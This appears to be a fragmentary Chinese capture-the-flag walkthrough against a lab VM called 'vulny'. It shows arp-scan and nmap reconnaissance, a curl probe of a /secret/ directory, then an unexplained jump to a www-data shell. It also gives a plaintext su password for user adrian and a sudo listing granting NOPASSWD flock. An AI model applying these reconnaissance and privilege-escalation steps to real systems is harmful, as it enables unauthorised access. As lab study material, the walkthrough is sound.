4 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 1.976 seconds (129.55 hosts/sec). 4 responded
ip为192.168.31.165 ,nmap扫描端口
1 2 3 4 5 6 7 8 9 10 11 12
┌──(root㉿kali)-[~/Desktop/tmp] └─# nmap 192.168.31.165 --min-rate=1000 -p- Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-24 00:19 EST Nmap scan report for vulny (192.168.31.165) Host is up (0.049s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 80/tcp open http 33060/tcp open mysqlx MAC Address: 08:00:27:6C:16:9B (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 28.56 seconds
开了一个mysql服务和http的服务
80端口
扫描目录能扫出来有一个secret的目录
1 2 3
┌──(root㉿kali)-[~/Desktop/tmp] └─# curl http://192.168.31.165/secret/ Neither <b>/etc/wordpress/config-192.168.31.165.php</b> nor <b>/etc/wordpress/config-168.31.165.php</b> could be found. <br/> Ensure one of them exists, is readable by the webserver and contains the right password/username
www-data@vulny:/usr/share/wordpress$ su adrian su adrian Password: idrinksomewater
adrian@vulny:/usr/share/wordpress$
1 2 3 4 5 6 7 8
adrian@vulny:/$ sudo -l sudo -l Matching Defaults entries for adrian on vulny: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User adrian may run the following commands on vulny: (ALL : ALL) NOPASSWD: /usr/bin/flock